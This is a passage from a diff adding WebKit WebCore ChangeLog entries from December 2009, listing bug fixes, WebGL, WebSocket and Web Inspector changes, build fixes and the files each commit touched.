+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::vertexAttribAndUniformHelperf):
+        (WebCore::uniformHelperi):
+        (WebCore::uniformMatrixHelper):
+
+2009-12-09  Søren Gjesse  <sgjesse@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        [V8] Isolated world reuse failure
+        https://bugs.webkit.org/show_bug.cgi?id=32306
+
+        Fixed bug introduced in r51407: (http://trac.webkit.org/changeset/51407) which caused layout test
+        LayoutTests/http/tests/security/isolatedWorld/world-reuse.html to fail.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::setInjectedScriptContextDebugId):
+        (WebCore::V8Proxy::contextDebugId):
+
+2009-12-09  Patrick Scott  <phanna@email.unc.edu>
+
+        Fix the build with ENABLE_ORIENTATION_EVENTS
+        https://bugs.webkit.org/show_bug.cgi?id=32321
+
+        * page/Frame.cpp:
+        (WebCore::Frame::sendOrientationChangeEvent):
+
+2009-12-09  Avi Drissman  <avi@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Chromium tickmarks in scrollbar now UX approved.
+        https://bugs.webkit.org/show_bug.cgi?id=32069
+
+        * platform/chromium/ScrollbarThemeChromiumMac.mm:
+        (WebCore::ScrollbarThemeChromiumMac::paint):
+
+2009-12-09  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Delay load DLLs for accelerated compositing
+        https://bugs.webkit.org/show_bug.cgi?id=31856
+        
+        Add logic to turn off accelerated compositing if d3d9 or QuartzCore
+        DLLs are not present.
+        
+        This patch also changes the WKCACFLayerRenderer to be a pointer.
+        This allows me to have a create() method which will not create it when
+        accelerated compositing is disabled because of missing DLLs. It 
+        avoids having to do so many checks. I also made WebViewWndProc 
+        a member function to allow several methods to be made protected, which
+        allows me to avoid doing availability checks there as well.
+
+        * platform/graphics/win/WKCACFLayer.cpp:
+        * platform/graphics/win/WKCACFLayer.h:
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        * platform/graphics/win/WKCACFLayerRenderer.h:
+        * rendering/RenderLayerBacking.cpp:
+
+2009-12-09  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Rename dom/ClassNames to SpaceSplitString and update build files.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32250
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::matchRules):
+        * dom/ClassNames.cpp: Removed.
+        * dom/ClassNames.h: Removed.
+        * dom/ClassNodeList.h:
+        * dom/NamedMappedAttrMap.h:
+        (WebCore::NamedMappedAttrMap::classNames):
+        * dom/SpaceSplitString.cpp: Copied from WebCore/dom/ClassNames.cpp.
+        (WebCore::SpaceSplitStringData::createVector):
+        (WebCore::SpaceSplitStringData::containsAll):
+        * dom/SpaceSplitString.h: Copied from WebCore/dom/ClassNames.h.
+        (WebCore::SpaceSplitStringData::SpaceSplitStringData):
+        (WebCore::SpaceSplitString::SpaceSplitString):
+        (WebCore::SpaceSplitString::set):
+        (WebCore::SpaceSplitString::containsAll):
+        * dom/StyledElement.h:
+        (WebCore::StyledElement::classNames):
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::setRel):
+
+2009-12-09  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Enable SVG filters in Chromium build.
+        https://bugs.webkit.org/show_bug.cgi?id=32323
+
+        Covered by SVG filter layout tests.
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+
+2009-12-09  Oliver Hunt  <oliver@apple.com>
+
+        Build fix
+
+        * bindings/js/JSWebGLRenderingContextCustom.cpp:
+        (WebCore::functionForUniform):
+
+2009-12-08  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        WebSocket allow space (U+0020) in sub protocol name.
+        https://bugs.webkit.org/show_bug.cgi?id=32266
+
+        Test: websocket/tests/sub-protocol-with-space.html
+
+        * websockets/WebSocket.cpp:
+        (WebCore::isValidProtocolString):
+
+2009-12-08  Peterson Trethewey  <petersont@google.com>
+
+        Reviewed by Oliver Hunt.
+
+        Implement WebGLUniformLocation and change API to use it.
+        https://bugs.webkit.org/show_bug.cgi?id=31173
+
+        Test: fast/canvas/webgl/uniform-location.html
+
+        * DerivedSources.make:
+        * WebCore.gypi:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSWebGLRenderingContextCustom.cpp:
+        (WebCore::JSWebGLRenderingContext::getProgramParameter):
+        (WebCore::JSWebGLRenderingContext::getUniform):
+        (WebCore::functionForUniform):
+        (WebCore::dataFunctionf):
+        (WebCore::dataFunctioni):
+        (WebCore::dataFunctionMatrix):
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        (WebCore::toWebGLUniformLocation):
+        (WebCore::):
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::isFunctionToCallForAttribute):
+        (WebCore::vertexAttribAndUniformHelperf):
+        (WebCore::uniformHelperi):
+        (WebCore::uniformMatrixHelper):
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::getUniform):
+        (WebCore::WebGLRenderingContext::getUniformLocation):
+        (WebCore::WebGLRenderingContext::uniform1f):
+        (WebCore::WebGLRenderingContext::uniform1fv):
+        (WebCore::WebGLRenderingContext::uniform1i):
+        (WebCore::WebGLRenderingContext::uniform1iv):
+        (WebCore::WebGLRenderingContext::uniform2f):
+        (WebCore::WebGLRenderingContext::uniform2fv):
+        (WebCore::WebGLRenderingContext::uniform2i):
+        (WebCore::WebGLRenderingContext::uniform2iv):
+        (WebCore::WebGLRenderingContext::uniform3f):
+        (WebCore::WebGLRenderingContext::uniform3fv):
+        (WebCore::WebGLRenderingContext::uniform3i):
+        (WebCore::WebGLRenderingContext::uniform3iv):
+        (WebCore::WebGLRenderingContext::uniform4f):
+        (WebCore::WebGLRenderingContext::uniform4fv):
+        (WebCore::WebGLRenderingContext::uniform4i):
+        (WebCore::WebGLRenderingContext::uniform4iv):
+        (WebCore::WebGLRenderingContext::uniformMatrix2fv):
+        (WebCore::WebGLRenderingContext::uniformMatrix3fv):
+        (WebCore::WebGLRenderingContext::uniformMatrix4fv):
+        * html/canvas/WebGLRenderingContext.h:
+        * html/canvas/WebGLRenderingContext.idl:
+        * html/canvas/WebGLUniformLocation.cpp: Added.
+        (WebCore::WebGLUniformLocation::create):
+        (WebCore::WebGLUniformLocation::WebGLUniformLocation):
+        * html/canvas/WebGLUniformLocation.h: Added.
+        (WebCore::WebGLUniformLocation::~WebGLUniformLocation):
+        (WebCore::WebGLUniformLocation::program):
+        (WebCore::WebGLUniformLocation::location):
+        * html/canvas/WebGLUniformLocation.idl: Added.
+
+2009-12-08  Adam Langley  <agl@google.com>
+
+        Reviewed by Darin Adler.
+
+        Fix assertion failure in WebCore::RenderBlock::startDelayUpdateScrollInfo
+
+        startDelayUpdateScrollInfo calls a function that can end up calling
+        startDelayUpdateScrollInfo again. However, it's static state is
+        inconsistent when this happens leading to an assertion failure (or
+        probably a memory leak if assertions are off).
+
+        Thanks to Robert Swiecki for the test case.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32172
+        http://code.google.com/p/chromium/issues/detail?id=28880
+
+        Test: fast/css/recursive-delay-update-scroll.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::finishDelayUpdateScrollInfo):
+
+2009-12-08  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Adam Roben.
+
+        WebCore source level debugging on Windows not reliable in some cases
+        https://bugs.webkit.org/show_bug.cgi?id=32297
+
+        Customized pdb file name/location for WebCore static library.
+
+        * WebCore.vcproj/WebCoreCommon.vsprops: Add ProgramDataBaseFileName.
+
+2009-12-08  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Mac plugins support.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=32236
+
+        * platform/FileSystem.h:
+        * platform/cf/BinaryPropertyList.h:
+        * platform/network/curl/ResourceHandleManager.cpp:
+        * platform/wx/FileSystemWx.cpp:
+        (WebCore::fileExists):
+        (WebCore::unloadModule):
+        (WebCore::wxDirTraverserNonRecursive::wxDirTraverserNonRecursive):
+        (WebCore::wxDirTraverserNonRecursive::OnFile):
+        (WebCore::wxDirTraverserNonRecursive::OnDir):
+        (WebCore::listDirectory):
+        * plugins/mac/PluginViewMac.cpp:
+        (WebCore::nativeWindowFor):
+        (WebCore::cgHandleFor):
+        (WebCore::topLevelOffsetFor):
+        (WebCore::PluginView::platformStart):
+        (WebCore::PluginView::setFocus):
+        (WebCore::PluginView::invalidateRect):
+        (WebCore::PluginView::handleKeyboardEvent):
+        (WebCore::PluginView::globalMousePosForPlugin):
+        * plugins/wx/PluginDataWx.cpp: Added.
+        (WebCore::PluginData::initPlugins):
+        (WebCore::PluginData::refresh):
+        * wscript:
+
+2009-12-08  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Navigating to a cached page can result in accessing a destroyed HTMLInputElement.
+        <rdar://problem/6856662> and https://webkit.org/b/32293
+
+        Test: fast/loader/input-element-page-cache-crash.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::parseMappedAttribute): Make sure to unregister for the activation
+          callback after the new m_autocomplete setting has been stored so the unregistration actually
+          takes place.
+
+2009-12-08  Dmitry Titov  <dimich@chromium.org>
+
+        Rubber-stamped by David Levin.
+
+        Revert and reopen "Add asserts to RefCounted to make sure ref/deref happens on the right thread."
+        It may have caused massive increase of reported leaks on the bots.
+        https://bugs.webkit.org/show_bug.cgi?id=31639
+
+        * ForwardingHeaders/wtf/ThreadVerifier.h: Removed.
+        * loader/icon/IconRecord.cpp:
+        (WebCore::IconRecord::IconRecord):
+        * platform/SharedBuffer.cpp:
+        (WebCore::SharedBuffer::SharedBuffer):
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl):
+
+2009-12-08  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Chromium: support custom WebCore context menu items in Chromium port.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32277
+
+        * platform/ContextMenu.h:
+        * platform/ContextMenuItem.h:
+        (WebCore::PlatformMenuItemDescription::PlatformMenuItemDescription):
+        * platform/chromium/ContextMenuChromium.cpp:
+        (WebCore::ContextMenu::ContextMenu):
+        (WebCore::ContextMenu::itemCount):
+        (WebCore::ContextMenu::insertItem):
+        (WebCore::ContextMenu::appendItem):
+        (WebCore::ContextMenu::itemWithAction):
+        (WebCore::ContextMenu::itemAtIndex):
+        (WebCore::ContextMenu::platformDescription):
+        * platform/chromium/ContextMenuItemChromium.cpp:
+        (WebCore::ContextMenuItem::ContextMenuItem):
+        (WebCore::ContextMenuItem::releasePlatformDescription):
+        (WebCore::ContextMenuItem::type):
+        (WebCore::ContextMenuItem::action):
+        (WebCore::ContextMenuItem::title):
+        (WebCore::ContextMenuItem::checked):
+        (WebCore::ContextMenuItem::enabled):
+        (WebCore::ContextMenuItem::setType):
+        (WebCore::ContextMenuItem::setAction):
+        (WebCore::ContextMenuItem::setTitle):
+        (WebCore::ContextMenuItem::setChecked):
+        (WebCore::ContextMenuItem::setEnabled):
+
+2009-12-08  Adam Langley  <agl@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Chromium Linux: set default scrollbar colours.
+
+        This is so that layout tests have sane defaults for the scrollbar
+        colours, even if the API user doesn't set any.
+
+        This is a fix due to r51827.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32287
+
+        This is very well covered by existing layout tests.
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+
+2009-12-08  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix for <rdar://problem/7397808> Crash occurs at 
+        RenderObject::containingBlock() as I type in the Google Search 
+        field (during page load)
+
+        * editing/Editor.cpp:
+        (WebCore::Editor::insideVisibleArea): ownerRenderer() needs to be 
+        null checked.
+
+2009-12-08  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add asserts to RefCounted to make sure ref/deref happens on the right thread.
+        https://bugs.webkit.org/show_bug.cgi?id=31639
+
+        * loader/icon/IconRecord.cpp:
+        (WebCore::IconRecord::IconRecord): Disable thread verification for this class because of its cross-thread use in IconDatabase.
+        * platform/SharedBuffer.cpp:
+        (WebCore::SharedBuffer::SharedBuffer): Ditto.
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl): Disable thread verification for this class, add FIXME to enforce proper usage via crossThreadString.
+        * ForwardingHeaders/wtf/ThreadVerifier.h: Added.
+
+2009-12-08  John Gregg  <johnnyg@google.com>
+
+        Reviewed by Adam Barth.
+
+        Inform the NotificationCenter when its window goes away in the same
+        manner as other DOMWindow fields, and prevent invalid operations on
+        it after that happens.
+
+        As part of this, change the V8 bindings for notifications to call
+        through the NotificationCenter rather than doing those operations
+        itself.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31886
+
+        Test: fast/notifications/notification-after-close.html
+
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * notifications/Notification.cpp:
+        (WebCore::Notification::Notification):
+        * notifications/NotificationCenter.cpp:
+        (WebCore::NotificationCenter::checkPermission):
+        (WebCore::NotificationCenter::requestPermission):
+        * notifications/NotificationCenter.h:
+        (WebCore::NotificationCenter::createHTMLNotification):
+        (WebCore::NotificationCenter::createNotification):
+        (WebCore::NotificationCenter::disconnectFrame):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::clear):
+
+2009-12-08  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by John Sullivan.
+
+        Fixed block selection gap repainting in table cells
+
+        Test: fast/repaint/block-selection-gap-in-table-cell.html
+
+        This recently-introduced regression exposed the fact that
+        RenderTableCell did not override offsetFromContainer() to adjust for
+        the fact that table cells’ coordinates are relative to the table
+        section, not the table row. With this fixed, RenderTableCell no longer
+        needs to override mapLocalToContainer() and mapAbsoluteToLocalPoint(),
+        since the base class implementations of those use offsetFromContainer().
+
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::offsetFromContainer):
+        * rendering/RenderTableCell.h:
+
+2009-12-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Sane way to force a rebuild on all win slaves, according to Adam Roben.
+
+        * WebCorePrefix.h:
+
+2009-12-08  Dan Bernstein  <mitz@apple.com>
+
+        Build fix
+
+        * loader/loader.cpp:
+        (WebCore::cachedResourceTypeToTargetType):
+
+2009-12-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Touch svgtags.in to eventually fix the win debug build.
+
+        * svg/svgtags.in:
+
+2009-12-08  Mike Belshe  <mike@belshe.com>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32167
+        Update the ResourceRequest::RequestType.  This previously
+        was specific to Chromium.  Moved into ResourceRequestBase, enabling
+        more specificity about the type (which is otherwise only known to the
+        loader), and also making this information available to all platforms.
+        Any platform with a network layer which can utilize this information
+        may want to use it for prioritization.
+
+        Note to Chromium glue: TargetIsSubResource renamed to TargetIsSubresource.
+
+        * loader/loader.cpp:
+        (WebCore::Loader::Loader):
+        (WebCore::CachedResourceTypeToTargetType):
+        (WebCore::Loader::Host::servePendingRequests):
+        * platform/network/ResourceRequestBase.h:
+        (WebCore::ResourceRequestBase::):
+        (WebCore::ResourceRequestBase::targetType):
+        (WebCore::ResourceRequestBase::setTargetType):
+        (WebCore::ResourceRequestBase::ResourceRequestBase):
+        * platform/network/chromium/ResourceRequest.h:
+        (WebCore::ResourceRequest::ResourceRequest):
+
+2009-12-08  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        [Android] Adds Makefiles for Android port.
+        https://bugs.webkit.org/show_bug.cgi?id=31325
+
+        Build system change only. No tests possible.
+
+        * Android.derived.jscbindings.mk: Added.
+        * Android.derived.mk: Added.
+        * Android.jscbindings.mk: Added.
+        * Android.mk: Added.
+        * WebCorePrefix.h: Modified. Sets up some flags and adds a header required for building on Android.
+
+2009-12-08  Christian Dywan  <christian@twotoasts.de>
+
+        Reviewed by Xan Lopez.
+
+        * platform/network/soup/DNSSoup.cpp:
+        (WebCore::prefetchDNS): Conditionalize prefetching on
+        the libSoup version.
+
+2009-12-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Rubber-stamped by Maciej Stachowiak.
+
+        Turn on (SVG) Filters for Win.
+        https://bugs.webkit.org/show_bug.cgi?id=32224
+
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/build-generated-files.sh:
+        * bindings/scripts/CodeGeneratorCOM.pm: Touch file to assure a world rebuild. Hopefully.
+
+2009-12-08  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        CSS Counter Nesting still does not work according to the spec.
+        https://bugs.webkit.org/show_bug.cgi?id=31723
+
+        Test: fast/css/counters/nesting.html
+
+        * rendering/RenderCounter.cpp:
+        (WebCore::findPlaceForCounter):
+        Replaced the faulty counter insertion algorithm with one that works.
+
+2009-12-08  John Sullivan  <sullivan@apple.com>
+
+        Add isAutofilled getter to match existing setter.
+
+        Reviewed by Ada Chan.
+
+        * bindings/objc/DOMHTML.mm:
+        (-[DOMHTMLInputElement _isAutofilled]):
+        Implemented new cover function.
+        
+        * bindings/objc/DOMPrivate.h:
+        Declared new cover function.
+
+2009-12-08  Dominik Röttsches  <dominik.roettsches@access-company.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] Create a TextBreakIterator implementation based on GLib (without ICU)
+        https://bugs.webkit.org/show_bug.cgi?id=31469
+
+        Added a TextBreakIterator implementation based on GLib and pango,
+        which allows compiling WebCore without ICU.
+
+        * GNUmakefile.am:
+        * platform/text/gtk/TextBreakIteratorGtk.cpp: Added.
+        (WebCore::):
+        (WebCore::setUpIterator):
+        (WebCore::characterBreakIterator):
+        (WebCore::cursorMovementIterator):
+        (WebCore::wordBreakIterator):
+        (WebCore::lineBreakIterator):
+        (WebCore::sentenceBreakIterator):
+        (WebCore::textBreakFirst):
+        (WebCore::textBreakLast):
+        (WebCore::textBreakNext):
+        (WebCore::textBreakPrevious):
+        (WebCore::textBreakPreceding):
+        (WebCore::textBreakFollowing):
+        (WebCore::textBreakCurrent):
+        (WebCore::isTextBreak):
+
+2009-12-08  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Change the way cookies are retrieved in the WebInspector frontend.
+
+        Moved the cookie filtering from the native code into the frontend so that
+        all cookies can be retrieved regardless of the associated domain
+        (required for certain audits to run.)
+        https://bugs.webkit.org/show_bug.cgi?id=32160
+
+        Test: inspector/cookie-resource-match.html
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::getCookies):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::getCookies):
+        * inspector/InspectorController.h:
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView.prototype.update.callback):
+        (WebInspector.CookieItemsView.prototype.update):
+        (WebInspector.CookieItemsView.prototype._cookiesForDomain):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.Cookies.getCookiesAsync):
+        (WebInspector.Cookies.cookieMatchesResourceURL):
+        (WebInspector.Cookies.cookieDomainMatchesResourceDomain):
+        * inspector/front-end/Resource.js:
+        (WebInspector.Resource):
+        (WebInspector.Resource.prototype.get documentURL):
+        (WebInspector.Resource.prototype.set documentURL):
+        * inspector/front-end/inspector.js:
+        (WebInspector.addResource):
+
+2009-12-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Touch svgtags.in, in order to force SVGNames.* regeneration. Praying for gtk bot to be fixed :-)
+
+        * svg/svgtags.in:
+
+2009-12-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Trying to force a rebuild on the Gtk slave. If that doesn't work, someone must force a rebuild from scratch.
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-12-06  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: provide custom context menu in the front-end window.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32200
+
+        * English.lproj/localizedStrings.js:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSInspectorFrontendHostCustom.cpp:
+        (WebCore::JSInspectorFrontendHost::showContextMenu):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::contextMenuItemSelected):
+        (WebCore::InspectorFrontend::contextMenuCleared):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorFrontendHost.cpp:
+        (WebCore::InspectorFrontendHost::InspectorFrontendHost):
+        (WebCore::InspectorFrontendHost::~InspectorFrontendHost):
+        (WebCore::InspectorFrontendHost::showContextMenu):
+        (WebCore::InspectorFrontendHost::contextMenuItemSelected):
+        (WebCore::InspectorFrontendHost::contextMenuCleared):
+        * inspector/InspectorFrontendHost.h:
+        (WebCore::InspectorFrontendHost::MenuSelectionHandler::create):
+        (WebCore::InspectorFrontendHost::MenuSelectionHandler::~MenuSelectionHandler):
+        (WebCore::InspectorFrontendHost::MenuSelectionHandler::disconnect):
+        (WebCore::InspectorFrontendHost::MenuSelectionHandler::contextMenuItemSelected):
+        (WebCore::InspectorFrontendHost::MenuSelectionHandler::contextMenuCleared):
+        (WebCore::InspectorFrontendHost::MenuSelectionHandler::MenuSelectionHandler):
+        * inspector/InspectorFrontendHost.idl:
+        * inspector/front-end/ContextMenu.js: Added.
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.documentContextMenu):
+        * page/ContextMenuController.cpp:
+        (WebCore::ContextMenuController::ContextMenuController):
+        (WebCore::ContextMenuController::clearContextMenu):
+        (WebCore::ContextMenuController::handleContextMenuEvent):
+        (WebCore::ContextMenuController::showContextMenu):
+        (WebCore::ContextMenuController::createContextMenu):
+        (WebCore::ContextMenuController::contextMenuItemSelected):
+        * page/ContextMenuController.h:
+        * page/ContextMenuSelectionHandler.h: Added.
+        (WebCore::ContextMenuSelectionHandler::ContextMenuSelectionHandler):
+        (WebCore::ContextMenuSelectionHandler::~ContextMenuSelectionHandler):
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::checkOrEnableIfNeeded):
+        * platform/ContextMenuItem.h:
+
+2009-12-08  Andras Becsi  <abecsi@inf.u-szeged.hu>
+
+        Rubber-stamped by Kenneth Rohde Christiansen.
+
+        [Qt] Build fix of duplicated platform/graphics/filters/FEGaussianBlur.cpp in WebCore.pro after enabled svg filters.
+
+        No new tests needed.
+        * WebCore.pro:
+
+2009-12-07  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add a function to show render tree for debugging
+        https://bugs.webkit.org/show_bug.cgi?id=31288
+
+        No new tests because this just adds a function for debugging.
+
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::showRenderObject):
+        (WebCore::RenderObject::showRenderTreeAndMark):
+        (showRenderTree):
+        * rendering/RenderObject.h:
+
+2009-12-07  Victor Wang  <victorw@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Implement NamedPropertyEnumerator and IndexedPropertyEnumerator for
+        V8 NPObject. This should make the object enumerable and fix the
+        enumeration issue in layout test plugins/netscape-enumerate.html.
+
+        Also fix some existing style issues per webkit style guidelines.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32254
+
+        Test: plugins/netscape-enumerate.html
+
+        * bindings/v8/V8NPObject.cpp:
+        (npObjectInvokeImpl):
+        (npObjectInvokeDefaultHandler):
+        (npObjectGetProperty):
+        (npObjectPropertyEnumerator):
+        (npObjectNamedPropertyEnumerator):
+        (npObjectIndexedPropertyEnumerator):
+        (createV8ObjectForNPObject):
+
+2009-12-07  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fragments now make WebSocket URL parsing fail.
+        https://bugs.webkit.org/show_bug.cgi?id=32144
+
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::connect):
+
+2009-12-07  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix wrong length parsing in WebSocket.
+        https://bugs.webkit.org/show_bug.cgi?id=32203
+
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::didReceiveData):
+
+2009-12-07  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Rubber-stamped by Maciej Stachowiak.
+
+        Turn on (SVG) Filters for Qt.
+        https://bugs.webkit.org/show_bug.cgi?id=32224
+
+        * WebCore.pro:
+
+2009-12-07  Evan Martin  <evan@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Chromium: theme scrollbars to match GTK theme.
+        Add functions to RenderThemeChromiumLinux to change the scrollbar
+        color.
+
+        Since the change is to the Chromium WebKit API layer, testing will
+        be in Chromium's test shell.
+        http://bugs.webkit.org/show_bug.cgi?id=32048
+
+        Patch from Markus Gutschke <markus@chromium.org>.
+
+        * platform/chromium/ScrollbarThemeChromiumLinux.cpp:
+        (WebCore::saturateAndBrighten):
+        (WebCore::outlineColor):
+        (WebCore::ScrollbarThemeChromiumLinux::paintTrackPiece):
+        (WebCore::ScrollbarThemeChromiumLinux::paintThumb):
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::setScrollbarColors):
+        * rendering/RenderThemeChromiumLinux.h:
+        (WebCore::RenderThemeChromiumLinux::thumbInactiveColor):
+        (WebCore::RenderThemeChromiumLinux::thumbActiveColor):
+        (WebCore::RenderThemeChromiumLinux::trackColor):
+
+2009-12-08  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] Doesn't respect Content-Disposition for downloads, and provides no way for apps to do that
+        https://bugs.webkit.org/show_bug.cgi?id=32247
+
+        Allow creating a ResourceResponse from a SoupMessage.
+
+        Covered by API test.
+
+        * platform/network/soup/ResourceResponse.h:
+        (WebCore::ResourceResponse::ResourceResponse):
+        * platform/network/soup/ResourceResponseSoup.cpp:
+        (WebCore::ResourceResponse::updateFromSoupMessage):
+
+2009-12-07  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Not reviewed. Reverting problematic patch, causing errors.
+
+        Revert r51789 (Avoid zero division during SVGPaintServerPattern::setup()). Crashes on all Windows slaves.
+        Reopen bug https://bugs.webkit.org/show_bug.cgi?id=29912.
+
+        * svg/graphics/SVGPaintServerPattern.cpp:
+        (WebCore::SVGPaintServerPattern::setup):
+
+2009-12-07  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add support for HTMLInputElement::stepUp() and stepDown() for
+        type=number and type=range.
+        https://bugs.webkit.org/show_bug.cgi?id=27451
+
+        Our implementation of stepUp() and stepDown() rounds the resultant
+        value to conform to the step value.
+        Change the number-string conversion method for RenderSlider to be
+        consistent with type=number.
+
+        Tests: fast/forms/input-step-number.html
+               fast/forms/input-step-range.html
+               fast/forms/input-step-unsupported.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::rangeUnderflow): Unify the code for NUMBER and RANGE.
+        (WebCore::HTMLInputElement::rangeOverflow): Unify the code for NUMBER and RANGE.
+        (WebCore::HTMLInputElement::minimum): Renamed from rangeMinimum(), and support for NUMBER.
+        (WebCore::HTMLInputElement::maximum): Renamed from rangeMaximum(), and support for NUMBER.
+        (WebCore::HTMLInputElement::stepBase):
+        (WebCore::HTMLInputElement::stepMismatch): Use stepBase().
+        (WebCore::HTMLInputElement::applyStepForNumberOrRange):
+        (WebCore::HTMLInputElement::stepUp):
+        (WebCore::HTMLInputElement::stepDown):
+        (WebCore::HTMLInputElement::formStringFromDouble):
+        * html/HTMLInputElement.h:
+        (WebCore::HTMLInputElement::stepUp):
+        (WebCore::HTMLInputElement::stepDown):
+        * html/HTMLInputElement.idl: Add stepUp() and stepDown().
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderRange::SliderRange): Sync with rangeMinimum()/rangeMaximum() renaming.
+        (WebCore::RenderSlider::updateFromElement): Use formStringFromDouble().
+        (WebCore::RenderSlider::setValueForPosition): Use formStringFromDouble().
+
+2009-12-07  Albert J. Wong  <ajwong@chromium.org>
+
+        Not reviewed: Chromium build fix try 2 (dumb error).
+
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::getString):
+
+2009-12-07  Albert J. Wong  <ajwong@chromium.org>
+
+        Not reviewed: Chromium build fix.
+
+        Fix Chromium build break caused by an added dependency from
